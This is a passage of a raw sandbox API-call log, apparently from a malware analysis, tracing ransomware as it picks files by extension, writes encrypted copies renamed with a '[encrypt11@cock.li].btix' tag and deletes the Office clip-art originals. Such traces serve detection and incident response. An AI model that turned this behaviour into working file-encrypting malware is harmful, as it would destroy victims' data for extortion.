(lpString1=".rar", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString=".bz2") returned 4 [0152.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString=".7z") returned 3 [0152.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString=".dbf") returned 4 [0152.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString=".1cd") returned 4 [0152.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString=".jpg") returned 4 [0152.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.283] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.283] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.283] GetLastError () returned 0x0 [0152.283] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x203c, lpOverlapped=0x0) returned 1 [0152.284] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2040, lpOverlapped=0x0) returned 1 [0152.287] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.287] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.287] SetEndOfFile (hFile=0x338) returned 1 [0152.288] CloseHandle (hObject=0x338) returned 1 [0152.288] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.288] SetEndOfFile (hFile=0x398) returned 1 [0152.289] CloseHandle (hObject=0x398) returned 1 [0152.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0152.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0152.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0152.289] lstrlenW (lpString=".doc") returned 4 [0152.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString=".docx") returned 5 [0152.289] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.289] lstrlenW (lpString=".pdf") returned 4 [0152.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString=".xls") returned 4 [0152.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.289] lstrlenW (lpString=".xlsx") returned 5 [0152.289] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.289] lstrlenW (lpString=".ppt") returned 4 [0152.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0152.289] lstrlenW (lpString=".zip") returned 4 [0152.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.289] lstrlenW (lpString=".rar") returned 4 [0152.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString=".bz2") returned 4 [0152.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString=".7z") returned 3 [0152.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0152.290] lstrlenW (lpString=".dbf") returned 4 [0152.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0152.290] lstrlenW (lpString=".1cd") returned 4 [0152.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0152.290] lstrlenW (lpString=".jpg") returned 4 [0152.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.290] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.290] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.291] GetLastError () returned 0x0 [0152.291] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1350, lpOverlapped=0x0) returned 1 [0152.291] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1360, lpOverlapped=0x0) returned 1 [0152.293] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.293] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.293] SetEndOfFile (hFile=0x338) returned 1 [0152.293] CloseHandle (hObject=0x338) returned 1 [0152.293] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.293] SetEndOfFile (hFile=0x398) returned 1 [0152.294] CloseHandle (hObject=0x398) returned 1 [0152.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0152.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0152.294] lstrlenW (lpString=".doc") returned 4 [0152.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.294] lstrlenW (lpString=".docx") returned 5 [0152.294] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.294] lstrlenW (lpString=".pdf") returned 4 [0152.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString=".xls") returned 4 [0152.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.295] lstrlenW (lpString=".xlsx") returned 5 [0152.295] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.295] lstrlenW (lpString=".ppt") returned 4 [0152.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0152.295] lstrlenW (lpString=".zip") returned 4 [0152.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.295] lstrlenW (lpString=".rar") returned 4 [0152.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString=".bz2") returned 4 [0152.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString=".7z") returned 3 [0152.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0152.295] lstrlenW (lpString=".dbf") returned 4 [0152.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0152.295] lstrlenW (lpString=".1cd") returned 4 [0152.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0152.295] lstrlenW (lpString=".jpg") returned 4 [0152.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.295] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.295] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.297] GetLastError () returned 0x0 [0152.297] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2b04, lpOverlapped=0x0) returned 1 [0152.297] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2b10, lpOverlapped=0x0) returned 1 [0152.298] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.298] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.298] SetEndOfFile (hFile=0x338) returned 1 [0152.299] CloseHandle (hObject=0x338) returned 1 [0152.299] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.299] SetEndOfFile (hFile=0x398) returned 1 [0152.299] CloseHandle (hObject=0x398) returned 1 [0152.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0152.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0152.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0152.300] lstrlenW (lpString=".doc") returned 4 [0152.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.300] lstrlenW (lpString=".docx") returned 5 [0152.300] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.300] lstrlenW (lpString=".pdf") returned 4 [0152.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.300] lstrlenW (lpString=".xls") returned 4 [0152.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.300] lstrlenW (lpString=".xlsx") returned 5 [0152.300] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.300] lstrlenW (lpString=".ppt") returned 4 [0152.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0152.300] lstrlenW (lpString=".zip") returned 4 [0152.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.300] lstrlenW (lpString=".rar") returned 4 [0152.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.300] lstrlenW (lpString=".bz2") returned 4 [0152.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.300] lstrlenW (lpString=".7z") returned 3 [0152.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0152.301] lstrlenW (lpString=".dbf") returned 4 [0152.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0152.301] lstrlenW (lpString=".1cd") returned 4 [0152.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0152.301] lstrlenW (lpString=".jpg") returned 4 [0152.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.301] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.301] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.301] GetLastError () returned 0x0 [0152.301] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xd00, lpOverlapped=0x0) returned 1 [0152.302] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xd10, lpOverlapped=0x0) returned 1 [0152.303] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.303] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.303] SetEndOfFile (hFile=0x338) returned 1 [0152.303] CloseHandle (hObject=0x338) returned 1 [0152.303] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.303] SetEndOfFile (hFile=0x398) returned 1 [0152.304] CloseHandle (hObject=0x398) returned 1 [0152.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0152.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0152.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0152.305] lstrlenW (lpString=".doc") returned 4 [0152.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString=".docx") returned 5 [0152.305] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.305] lstrlenW (lpString=".pdf") returned 4 [0152.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString=".xls") returned 4 [0152.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.305] lstrlenW (lpString=".xlsx") returned 5 [0152.305] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.305] lstrlenW (lpString=".ppt") returned 4 [0152.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0152.305] lstrlenW (lpString=".zip") returned 4 [0152.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.305] lstrlenW (lpString=".rar") returned 4 [0152.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString=".bz2") returned 4 [0152.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString=".7z") returned 3 [0152.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0152.305] lstrlenW (lpString=".dbf") returned 4 [0152.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0152.305] lstrlenW (lpString=".1cd") returned 4 [0152.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0152.305] lstrlenW (lpString=".jpg") returned 4 [0152.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.306] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.306] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.306] GetLastError () returned 0x0 [0152.306] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0152.307] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0152.308] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.308] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.308] SetEndOfFile (hFile=0x338) returned 1 [0152.308] CloseHandle (hObject=0x338) returned 1 [0152.309] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.309] SetEndOfFile (hFile=0x398) returned 1 [0152.309] CloseHandle (hObject=0x398) returned 1 [0152.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0152.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0152.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0152.310] lstrlenW (lpString=".doc") returned 4 [0152.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.310] lstrlenW (lpString=".docx") returned 5 [0152.310] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.310] lstrlenW (lpString=".pdf") returned 4 [0152.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.310] lstrlenW (lpString=".xls") returned 4 [0152.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.310] lstrlenW (lpString=".xlsx") returned 5 [0152.310] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.310] lstrlenW (lpString=".ppt") returned 4 [0152.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0152.310] lstrlenW (lpString=".zip") returned 4 [0152.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.310] lstrlenW (lpString=".rar") returned 4 [0152.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.310] lstrlenW (lpString=".bz2") returned 4 [0152.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.310] lstrlenW (lpString=".7z") returned 3 [0152.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0152.310] lstrlenW (lpString=".dbf") returned 4 [0152.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0152.310] lstrlenW (lpString=".1cd") returned 4 [0152.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0152.311] lstrlenW (lpString=".jpg") returned 4 [0152.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.311] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.311] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.311] GetLastError () returned 0x0 [0152.311] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x24b8, lpOverlapped=0x0) returned 1 [0152.655] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2edfc94, 